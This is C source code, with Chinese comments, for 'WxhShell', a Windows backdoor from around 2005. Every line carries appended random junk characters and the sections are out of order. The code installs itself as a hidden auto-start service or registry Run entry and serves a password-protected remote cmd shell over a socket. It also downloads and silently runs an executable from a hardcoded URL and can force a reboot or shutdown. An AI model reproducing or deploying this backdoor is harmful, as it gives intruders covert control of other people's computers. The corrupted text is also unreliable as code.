    ExitThread(0); \+o\wTW  
    } '?rR>$s  
    break; tc~gn!"  
    } RC_Pj)  
  // 获取shell d.&_j`\F  
  case 's': { T<]{:\*n  
    CmdShell(wsh); lNe4e6  
    closesocket(wsh); wv\X  
    ExitThread(0); UQ0!tFx  
    break; 4=,J@N-  
  } "VaWZ*  
  // 退出 //@6w;P  
  case 'x': { 0+\725DJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gPMR,TU  
    CloseIt(wsh); TEV DES  
    break; #0AyC.\  
    } )\+Imn  
  // 离开 0,hs %x>v  
  case 'q': { U%vTmdOY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <'=!f6Wh  
    closesocket(wsh); 971=OEyq*  
    WSACleanup(); vobC/m  
    exit(1); %FjUtB  
    break; *BKD5EwS  
        } {K|?i9K  
  } N'b GL%  
  } 1H-Wk  
MHwfJ{"zo  
  // 提示信息  2s}S9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k^7!iOK2  
} W?Z>g"  
  } >DRxF5b{  
Y}[<KK}_  
  return; *f+s  
} J6#h~fpv  
YJ~<pH  
// shell模块句柄 H; `F}qQ3  
int CmdShell(SOCKET sock) <)d%c%f'`  
{ "~Fg-{jM%  
STARTUPINFO si; INnd TF  
ZeroMemory(&si,sizeof(si)); #Y= A#Yz,{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S. MRL,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j~'.XD={  
PROCESS_INFORMATION ProcessInfo; Hzz{wY   
char cmdline[]="cmd"; "ku[b\W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H&s`Xr  
  return 0; ~gX1n9_n  
} uyX % &r  
?8 }pZ_j  
// 自身启动模式 aR2N,<Cp5  
int StartFromService(void) x}2nn)fdZ  
{ SkDr4kds  
typedef struct @!iS`u  
{ [#KY.n  
  DWORD ExitStatus; Jxl'!8t  
  DWORD PebBaseAddress; WsbVO|C  
  DWORD AffinityMask; u(zgKoF9A  
  DWORD BasePriority; <0';2yP"  
  ULONG UniqueProcessId; nf pO  
  ULONG InheritedFromUniqueProcessId; ,!> ~izB  
}   PROCESS_BASIC_INFORMATION; 4Uny.C]  
Yo%U{/e  
PROCNTQSIP NtQueryInformationProcess; t'K+)OK  
;"D}"nL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d- ZUuw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +"84.PZ  
45biy(qa  
  HANDLE             hProcess; X1w11Z7o  
  PROCESS_BASIC_INFORMATION pbi; $z!G%PO1%  
HD<$0M|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n1\$|[^6  
  if(NULL == hInst ) return 0; "I56l2dxd  
}8^qb5+!3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ]j0+4w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {^oohW -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "e-z 2G@z  
knO X5UnS  
  if (!NtQueryInformationProcess) return 0; gb,ZN^3<-  
ltOS()[X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g:uVl;>  
  if(!hProcess) return 0; J *LPv9)  
L\mF[Kd#+T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?EUg B\  
La6 9or   
  CloseHandle(hProcess); rQzdHA  
!v2/sq$G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aH;AGbp  
if(hProcess==NULL) return 0; e\~nqKCb  
huqtk4u  
HMODULE hMod; A^}#  
char procName[255]; ql9n`?Q  
unsigned long cbNeeded; ~Jf(M ^E  
/BgX Y}JC.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6EC',=)6R  
n]6 '!Eo  
  CloseHandle(hProcess); OK4r)  
,LZA\XC  
if(strstr(procName,"services")) return 1; // 以服务启动 v RD/67  
38sLyoG=i  
  return 0; // 注册表启动 =b66H]h?  
} XrUI [ryE  
.?:#<=1  
// 主模块 Q>L(=j2t  
int StartWxhshell(LPSTR lpCmdLine) [%^0L~:  
{ QE/kR!r  
  SOCKET wsl; /- Gq`9Z  
BOOL val=TRUE; ]$#bNt/p  
  int port=0; ,~7~ S"  
  struct sockaddr_in door; 0Fkr3x  
5voL@w>  
  if(wscfg.ws_autoins) Install(); Y;Nq(  
nql1I<I  
port=atoi(lpCmdLine); -f?  
n U=  
if(port<=0) port=wscfg.ws_port; E3a^"V3p  
ok6t| 7sq  
  WSADATA data; Gt{%O>P8t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {_tq6ja-<  
0J?443A Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @V>]95RX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |./:A5_h  
  door.sin_family = AF_INET; }bi hlyB&Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); st??CX2  
  door.sin_port = htons(port); n^1BtP0!  
q-CgX wU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }\m.~$|[  
closesocket(wsl); Qu#[PDhb  
return 1; WS6Qp`c )e  
} WCY._H>|   
0vEQgx>  
  if(listen(wsl,2) == INVALID_SOCKET) { qbQdx Kk  
closesocket(wsl); .0,G4k/yv  
return 1; a{ke%W$*P  
} &W3srJo  
  Wxhshell(wsl); t[;-gi,,  
  WSACleanup(); Wlg1t~1=  
zvGncjMkC  
return 0; #e=E  
'=G6$O2  
} L_ T+KaQCH  
|;:Kn*0/]  
// 以NT服务方式启动 :CqR1_n%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "%Ief4  
{ w15a~\Qu  
DWORD   status = 0; J:)ml  
  DWORD   specificError = 0xfffffff; HjzAFXRG  
3w>1R>7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C/ VHzV%q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gcI<bY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zk1]?  
  serviceStatus.dwWin32ExitCode     = 0; Z Uj1vf6I  
  serviceStatus.dwServiceSpecificExitCode = 0; [g`4$_9S  
  serviceStatus.dwCheckPoint       = 0; %<+Ku11  
  serviceStatus.dwWaitHint       = 0; oR%cG"y  
HoX={^aG%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ r-rIW5\  
  if (hServiceStatusHandle==0) return; djoP`r  
'w1ll9O  
status = GetLastError(); CXGMc)#>f  
  if (status!=NO_ERROR) A|PZ<WAY  
{ %qqCpg4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ts@w9|  
    serviceStatus.dwCheckPoint       = 0; V:t{mu5j  
    serviceStatus.dwWaitHint       = 0; 8LF=l1=~  
    serviceStatus.dwWin32ExitCode     = status; %x;~ o:  
    serviceStatus.dwServiceSpecificExitCode = specificError; [OPF3W3z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -1hCi !  
    return; _J2?B?S/j  
  } Z6M qcAJ3j  
\d.\M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'ahz@+l O  
  serviceStatus.dwCheckPoint       = 0; vz3olHX  
  serviceStatus.dwWaitHint       = 0; A:4&XRYZY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?ecR9X k  
} ~("bpS#ZgD  
b%x=7SMXO  
// 处理NT服务事件,比如:启动、停止 XL44pE m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `c ^ ">L  
{ J!|R1  
switch(fdwControl) InRRcn(  
{ =/xx:D/  
case SERVICE_CONTROL_STOP: h'GOO(  
  serviceStatus.dwWin32ExitCode = 0; uwi.Sg11  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Q1R:Ra  
  serviceStatus.dwCheckPoint   = 0; , ExY.'%1  
  serviceStatus.dwWaitHint     = 0; ,*9gy$  
  { zgGJ<=G.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YADXXQ"  
  } xEq?[M  
  return; BbCW3!(  
case SERVICE_CONTROL_PAUSE:  jrS$!cEo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sUQ Q/F6  
  break; M<= e~';H  
case SERVICE_CONTROL_CONTINUE: (]?M=?0\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  6cjCn  
  break; LEN=pqGJ.  
case SERVICE_CONTROL_INTERROGATE: 3me&isKL  
  break; 6~>h;wC  
}; o*E32#l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > Xij+tt{  
} Hj1?c,mo4  
A|4 3W =  
// 标准应用程序主函数 eNH9`Aa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #}Xsi&:XU  
{ Y~*aA&D  
*2.h*y'u  
// 获取操作系统版本 ]R!YRu  
OsIsNt=GetOsVer(); u] G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `SZ-o{  
r? }|W2^%  
  // 从命令行安装 '~7zeZ'  
  if(strpbrk(lpCmdLine,"iI")) Install(); -2u)orWP  
h3GUFiZ.  
  // 下载执行文件 L?M x"  
if(wscfg.ws_downexe) { e]dFNunFq0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nw"?~"bo  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;;C2t&(  
} uvR l`"Y  
x|c_(  
if(!OsIsNt) { Hj`\Fm*A  
// 如果时win9x,隐藏进程并且设置为注册表启动 cdGBo4  
HideProc();  V_e  
StartWxhshell(lpCmdLine); N9*QQ0  
} I\M }Dxpp  
else ]Nssn\X7  
  if(StartFromService()) TI2K_'  
  // 以服务方式启动 2qVoe}F  
  StartServiceCtrlDispatcher(DispatchTable); 0DnOO0Nc  
else j0Cj&x%qF}  
  // 普通方式启动 zN)).a  
  StartWxhshell(lpCmdLine); Ek_<2!%X  
'-XO;{,-R  
return 0; 'R- g:X\{  
} f `}/^*D  
U KTfLh  
1D!MXYgm1b  
WjSu4   
=========================================== ?'H+u[1.  
cf ^i!X0  
&v;o }Q}E{  
W4P+?c>'2  
^ rUq{  
J,=ZUh@M  
" sX}#L  
0S&J=2D!  
#include <stdio.h> [}l 90lP  
#include <string.h> FJKlqM5]  
#include <windows.h> Jf#-OlEQ  
#include <winsock2.h> #W.vX=/*  
#include <winsvc.h> paMK]-  
#include <urlmon.h> rz`"$g+#  
Lm<WT*@  
#pragma comment (lib, "Ws2_32.lib") VfDa>zV3  
#pragma comment (lib, "urlmon.lib") zMO#CZ t  
;|$oz{Ll  
#define MAX_USER   100 // 最大客户端连接数 'n\PS,[1R  
#define BUF_SOCK   200 // sock buffer L(k`1E  
#define KEY_BUFF   255 // 输入 buffer =:6B`,~C  
QoxQ"r9Wh  
#define REBOOT     0   // 重启 yh|+Usa  
#define SHUTDOWN   1   // 关机 9:=:P>  
3^$=XrD  
#define DEF_PORT   5000 // 监听端口 tJ8:S@E3,  
$b7@S`5  
#define REG_LEN     16   // 注册表键长度 })?-)fFD  
#define SVC_LEN     80   // NT服务名长度 f#7=N{wm  
S,avvY.U\  
// 从dll定义API {gD`yoPrV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q"S,<I<f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lF40n4}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9`"#OQPn1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F ~7TE91C  
5DkEJk7a  
// wxhshell配置信息 AGO"),  
struct WSCFG { V,8Z!.MG  
  int ws_port;         // 监听端口 :>_oOn[_  
  char ws_passstr[REG_LEN]; // 口令 Y%|dM/a`  
  int ws_autoins;       // 安装标记, 1=yes 0=no [7LdTY"Tl  
  char ws_regname[REG_LEN]; // 注册表键名 D,lY_6=  
  char ws_svcname[REG_LEN]; // 服务名 &h!O<'*2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4}UJ Bb?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F0r2=f(?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X8R:9q_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 59"tHb6E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >LH}A6dUC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3-1a+7fD  
.j>MsQP#\C  
}; OA} r*Wz  
8Z "f"  
// default Wxhshell configuration v9KsE2Ei  
struct WSCFG wscfg={DEF_PORT, :)T*:51{#  
    "xuhuanlingzhe", 8K8jz9.s  
    1, 1,]FLsuy  
    "Wxhshell", Je2&7uR0  
    "Wxhshell", \IudS{ .?;  
            "WxhShell Service", M`@ASL:u  
    "Wrsky Windows CmdShell Service", Xh3b=i|K  
    "Please Input Your Password: ", z}7}D !  
  1, hn/yX|4c(  
  "http://www.wrsky.com/wxhshell.exe", xdz 6[8 d8  
  "Wxhshell.exe" pjoyMHWK  
    }; loE;q}^  
esQ`6i  
// 消息定义模块 UWK|_RT6SA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .c@Y ?..+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GK3T w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kg7 bZ  
char *msg_ws_ext="\n\rExit.";  '.>y'=  
char *msg_ws_end="\n\rQuit."; gN7 3)uJ0  
char *msg_ws_boot="\n\rReboot..."; D`'Cnt/  
char *msg_ws_poff="\n\rShutdown..."; qK2jJ3)>  
char *msg_ws_down="\n\rSave to "; Hi/[  
V\e1NS  
char *msg_ws_err="\n\rErr!"; ^,5%fl  
char *msg_ws_ok="\n\rOK!"; #`K{vj  
ue@W@pj  
char ExeFile[MAX_PATH]; jt9- v-  
int nUser = 0; U}k@%m,  
HANDLE handles[MAX_USER]; 7sWe32  
int OsIsNt; |-S+x]9  
'O.f}m SS  
SERVICE_STATUS       serviceStatus; & BY\h:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %4V$')rek  
"9"  
// 函数声明 %B1)mA;  
int Install(void); "M\rO!f:  
int Uninstall(void); _O11SiP]  
int DownloadFile(char *sURL, SOCKET wsh); d<HO~+9  
int Boot(int flag); jAv3qMQA  
void HideProc(void); HvKdV`bz  
int GetOsVer(void);  4~ L1~Gk  
int Wxhshell(SOCKET wsl); . &`YlK  
void TalkWithClient(void *cs); >}2 ,2  
int CmdShell(SOCKET sock); /lPnf7  
int StartFromService(void); =PNkzFUo  
int StartWxhshell(LPSTR lpCmdLine); l?V#;  
A"s?;hv\fS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u2`j\ Vu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x*=m'IM[  
+xsGa{`  
// 数据结构和表定义 "USzk7=&.  
SERVICE_TABLE_ENTRY DispatchTable[] = %6Vb1?x  
{ kzNRRs\e  
{wscfg.ws_svcname, NTServiceMain}, jvD_{r  
{NULL, NULL} R#8cOmZ  
}; 7 b(  
%|^,Q -i,  
// 自我安装 ?9!9lSH6%  
int Install(void) v6[VdWOx5  
{ fo`R=|L[  
  char svExeFile[MAX_PATH]; , /jHhKW  
  HKEY key; /"m#mh L  
  strcpy(svExeFile,ExeFile); ?z6K/'?  
|cp_V  
// 如果是win9x系统,修改注册表设为自启动 a#[gNT~[  
if(!OsIsNt) { BafNF Pc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2QEH!)lvr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "!7Hu7  
  RegCloseKey(key); V"2 G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +RR6gAma}<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :RJo#ape  
  RegCloseKey(key); 72J=_d>+  
  return 0; Qy}pn=#Q  
    } i+< v7?:`#  
  } T<b* =i  
} /vi Ic %=  
else { ~Cw7.NA{3  
Kng=v~)N'  
// 如果是NT以上系统,安装为系统服务 < 3*q) VT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S')DAx  
if (schSCManager!=0) hA1B C3  
{ 6#K.n&=*  
  SC_HANDLE schService = CreateService {<gX~./]c  
  ( e{Vn{.i,5  
  schSCManager, IMM sOl  
  wscfg.ws_svcname, xfC$u`e=  
  wscfg.ws_svcdisp, >.9V`m|  
  SERVICE_ALL_ACCESS, &V SZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kb;Pd!Q  
  SERVICE_AUTO_START, `d4xX@  
  SERVICE_ERROR_NORMAL, I.|b:c xN  
  svExeFile, ;L#RFdh  
  NULL, ,`!lZ| U  
  NULL, P$N5j~*  
  NULL, @qjN>PH~  
  NULL, bi+g=cS  
  NULL *B{]  
  ); 0T#z"l<L  
  if (schService!=0) <exyd6iI  
  { J(maJuY  
  CloseServiceHandle(schService); y;4g>ma0  
  CloseServiceHandle(schSCManager); 3 Fy C D4#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H.C*IL9  
  strcat(svExeFile,wscfg.ws_svcname); +Zr~mwM=x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4KSq]S.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :[f[-F  
  RegCloseKey(key); #.fJ M:"tG  
  return 0; _s5FYb#  
    } #Cy3x-!  
  } )+8r$ i  
  CloseServiceHandle(schSCManager); #Dz"g_d  
} p1i}fGS  
}  cC|  
V*(x@pF  
return 1; ahCwA}  
} fk X86  
iS<1C`%>  
// 自我卸载 UWS 91GN@  
int Uninstall(void) m-;8O /  
{ }Y!s:w#  
  HKEY key; xN}f?  
F1B/cd  
if(!OsIsNt) { Q*1'k%7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @p^EXc*|  
  RegDeleteValue(key,wscfg.ws_regname); q _K@KB  
  RegCloseKey(key); QJiH^KY6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x5pu+-h  
  RegDeleteValue(key,wscfg.ws_regname); F$1{w"&  
  RegCloseKey(key); a_{'I6a*,  
  return 0; C!+PBk[9  
  } tX1`/}``  
} 89{;R  
} /38I (0  
else { YPq:z"`-y4  
.V0fbHYTJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G?\eO&QG{"  
if (schSCManager!=0) Ex*{iJ;\  
{ {}iS5[H]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u8|CeA  
  if (schService!=0) I?%q`GyP5  
  { Qy4Pw\  
  if(DeleteService(schService)!=0) { !v9`oL26  
  CloseServiceHandle(schService); $^czqA-&  
  CloseServiceHandle(schSCManager); ][V`ym-e  
  return 0; 0c!^=(  
  } KD+&5=Y  
  CloseServiceHandle(schService); Bj><0 cNF  
  } 0raFb,6l  
  CloseServiceHandle(schSCManager); BI*0JKQu  
} T \- x3i  
} \dE{[^.5  
OK`^DIr5l  
return 1; #r?[@aJ  
} P ecZuv  
UGgo;e  
// 从指定url下载文件 KC2Z@  
int DownloadFile(char *sURL, SOCKET wsh) wTZ(vX*mK  
{ fGs\R]  
  HRESULT hr; sMUpkU-  
char seps[]= "/"; 7F~gA74h  
char *token; ; qbK[3.  
char *file; A:z  
char myURL[MAX_PATH]; }|[0FP]v  
char myFILE[MAX_PATH]; hy%5LV<(  
Vjo[rUW  
strcpy(myURL,sURL); :7obxW1X  
  token=strtok(myURL,seps); =ONM#DxH  
  while(token!=NULL) QXL .4r%  
  {  ggM~Chr  
    file=token; h4hp5M  
  token=strtok(NULL,seps); {r|RH"|?Z(  
  } y\-iGKz{0  
/Ix5`Q)  
GetCurrentDirectory(MAX_PATH,myFILE); F|.tn`j]U  
strcat(myFILE, "\\"); 60A!Gob  
strcat(myFILE, file); 4t/?b  
  send(wsh,myFILE,strlen(myFILE),0); r%X M`;bQX  
send(wsh,"...",3,0); W7_m,{q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VnB HQ.C  
  if(hr==S_OK) ;XjXv'  
return 0; B^GMncZO  
else ~Jw84U{$  
return 1; Cd]A1<6s  
a&)!zhVP  
} gE=9K @  
wS&D-!8v  
// 系统电源模块 KECW~e`  
int Boot(int flag) k2,`W2] ^E  
{ w{*V8S3h9  
  HANDLE hToken; @o'L!5Y  
  TOKEN_PRIVILEGES tkp; 83'+q((<  
{+d)M  
  if(OsIsNt) { ~[og\QZX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vmh$c*TE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vRf$#fBEQ  
    tkp.PrivilegeCount = 1; 7w8UnPuM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uW#s;1H.)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hm0A%Js  
if(flag==REBOOT) { I} +up,B]o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YTY(Et1i  
  return 0; \)>#`X  
} `jTB9A"  
else { S&]r6ss  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ; 8eGf'  
  return 0; ^P]5@dv  
} pBv,,d`  
  } ^>Z7."uGY  
  else { B3?rR-2mEE  
if(flag==REBOOT) { {^uiu^RAc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 34k>O  
  return 0; $9r4MMs{$  
} L%{YLl-zf]  
else { dw5"}-D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )uR_d=B&  
  return 0; +c C. ZOS  
} 8JF<SQ  
} >BK/HuS  
kw gLK@@%1  
return 1; `VUJW]wGu  
} 2  @T~VRy  
R2C~.d_TDu  
// win9x进程隐藏模块 {[Y7h}7  
void HideProc(void) jrz.n 4Y`  
{ 'wMvO{}$  
$o\z4_I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y&O?`"Uv/M  
  if ( hKernel != NULL ) G{>PYLxOb  
  { e"bzZ!c&~V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L$ sENOm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ) )FLM^dj  
    FreeLibrary(hKernel); &ynAB)  
  } y0&vsoT  
-vY5h%7kf  
return; t?PqfVSq  
} ScD E)r  
=>evkaj  
// 获取操作系统版本 mXS]SE  
int GetOsVer(void) XK@&$~iA3  
{ YX)Rs Vf  
  OSVERSIONINFO winfo; r@vt.t0#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XOI"BLd  
  GetVersionEx(&winfo); )rAJ>;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '@M"#`#0  
  return 1; q+p}U}L= k  
  else Gr/}&+S  
  return 0; 2QAP$f0Ln  
} #-+Q]}fB4  
Y3(MKq  
// 客户端句柄模块 BKb#\(95*  
int Wxhshell(SOCKET wsl) $U9]v5  
{ q+*\'H>  
  SOCKET wsh; P 6La)U`VA  
  struct sockaddr_in client; xfI0P0+  
  DWORD myID; i4h`jFS  
9%NobT  
  while(nUser<MAX_USER) IvY3iRq6  
{ AJ& j|/  
  int nSize=sizeof(client); *V\.6,^v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EU|IzUjFj|  
  if(wsh==INVALID_SOCKET) return 1; (S+/e5c)  
JR15y3 F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -@`Ah|m@}  
if(handles[nUser]==0) .`*]nN{  
  closesocket(wsh); K*b* ]hf{  
else 3#dz6+  
  nUser++; C#yRop_d]o  
  } FBB<1({A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G}+@C]  
{I $iD  
  return 0; hwL`9.w  
} Z2})n -  
[XDV-6KCE.  
// 关闭 socket ">3t+A  
void CloseIt(SOCKET wsh) 1i~q~ O,  
{ Z}>F V~4  
closesocket(wsh); _(8#  
nUser--; Yk?q\1  
ExitThread(0); B&B:P  
} j3`YaWw  
hi/d%lNZ  
// 客户端请求句柄 MMpId Uhr  
void TalkWithClient(void *cs) ' 7oCWHq[  
{ _&9P&Zf4  
[TUs^%2@  
  SOCKET wsh=(SOCKET)cs; <;?1#ok  
  char pwd[SVC_LEN]; 39 zfbxX  
  char cmd[KEY_BUFF]; U!uJ)mm  
char chr[1]; E0fMFG^P  
int i,j; ~|O;Sdo=  
)`'a1y|  
  while (nUser < MAX_USER) { 8M,@Mb n  
)R'%SLw  
if(wscfg.ws_passstr) { QKts-b[3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4u%AZ<-C}m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TlkhI  
  //ZeroMemory(pwd,KEY_BUFF); .[1 f$  
      i=0; 2YY4 XHQS  
  while(i<SVC_LEN) { qpCaW0]7  
EsX(<bx  
  // 设置超时 \#) YS  
  fd_set FdRead; =p=/@FN  
  struct timeval TimeOut; :A @f[Y'9  
  FD_ZERO(&FdRead); )[ZXPD  
  FD_SET(wsh,&FdRead); T$R#d&t  
  TimeOut.tv_sec=8; `L7^f!  
  TimeOut.tv_usec=0; *n&Sd~Mg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PI`Y%!P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9@q!~ur  
>4kQ9lXL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eZ[Qhrc  
  pwd=chr[0]; r2'K'?T3  
  if(chr[0]==0xd || chr[0]==0xa) { w@Q~ax/  
  pwd=0; l1]{r2g  
  break; _/}$X"4  
  } r*$f^T!|  
  i++; %k['<BYG<  
    } E#8|h(  
'/ Hoq  
  // 如果是非法用户,关闭 socket <a -a~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (GL'm[V  
} SG\ /m'F  
G<<; a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >]gB@tn[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LiQH!yHW  
uM\\(g}  
while(1) { LA59O@r  
cl]W]^q-Cx  
  ZeroMemory(cmd,KEY_BUFF); Te?PYV-  
&-Wt!X 3  
      // 自动支持客户端 telnet标准   8N9,HNBT$  
  j=0; lt:&lIW,3  
  while(j<KEY_BUFF) { N}7b^0k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0n`Temb/  
  cmd[j]=chr[0]; sH2xkUp  
  if(chr[0]==0xa || chr[0]==0xd) { CALD7qMK  
  cmd[j]=0; U_gkO;s%  
  break; |ZifrkD=  
  } =1R 2`H\  
  j++; =LK`m NA  
    } .B2e$`s$  
M!!vr8}  
  // 下载文件 !]A/ID0K  
  if(strstr(cmd,"http://")) { &1^~G0 Rh\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OGJrwl  
  if(DownloadFile(cmd,wsh)) +MaEet  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GeB&S!F  
  else  ?f'`b<o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hmhsb2`\  
  } 8?kB+}@6X  
  else { !.O[@A\.-  
K,|3?CjS  
    switch(cmd[0]) { GIpYx`mHi  
  y&8`NS#_p?  
  // 帮助 -@#],s7  
  case '?': { xy!E_CuC$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t5K#nRd Z:  
    break; _:tS-Mx@5  
  } |4j6}g\  
  // 安装 Z+);}>-5  
  case 'i': { dQ-g\]d|  
    if(Install()) h@ ZC{B  
